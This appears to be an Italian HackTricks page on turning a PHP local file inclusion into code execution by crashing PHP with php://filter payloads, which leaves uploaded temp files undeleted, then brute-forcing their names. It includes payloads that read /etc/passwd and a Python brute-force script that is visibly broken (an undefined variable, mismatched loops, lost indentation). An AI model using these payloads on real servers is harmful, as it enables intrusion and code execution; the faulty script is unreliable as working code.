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61 lines
2.2 KiB
Markdown
61 lines
2.2 KiB
Markdown
# LFI2RCE tramite Segmentation Fault
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{{#include ../../banners/hacktricks-training.md}}
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Secondo i writeup [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (seconda parte) e [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), i seguenti payload hanno causato un segmentation fault in PHP:
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```php
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// PHP 7.0
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include("php://filter/string.strip_tags/resource=/etc/passwd");
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// PHP 7.2
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include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
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```
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Dovresti sapere che se **invi** una richiesta **POST** **contenente** un **file**, PHP creerà un **file temporaneo in `/tmp/php<qualcosa>`** con il contenuto di quel file. Questo file sarà **automaticamente eliminato** una volta che la richiesta è stata elaborata.
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Se trovi un **LFI** e riesci a **attivare** un errore di segmentazione in PHP, il **file temporaneo non verrà mai eliminato**. Pertanto, puoi **cercarlo** con la vulnerabilità **LFI** finché non lo trovi ed eseguire codice arbitrario.
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Puoi utilizzare l'immagine docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) per i test.
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```python
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# upload file with segmentation fault
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import requests
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url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
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files = {'file': open('la.php','rb')}
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response = requests.post(url, files=files)
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# Search for the file (improve this with threads)
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import requests
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import string
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import threading
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charset = string.ascii_letters + string.digits
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host = "127.0.0.1"
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port = 80
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base_url = "http://%s:%d" % (host, port)
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def bruteforce(charset):
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for i in charset:
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for j in charset:
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for k in charset:
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for l in charset:
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for m in charset:
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for n in charset:
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filename = prefix + i + j + k
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url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
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print url
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response = requests.get(url)
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if 'spyd3r' in response.content:
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print "[+] Include success!"
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return True
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def main():
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bruteforce(charset)
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if __name__ == "__main__":
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main()
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```
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{{#include ../../banners/hacktricks-training.md}}
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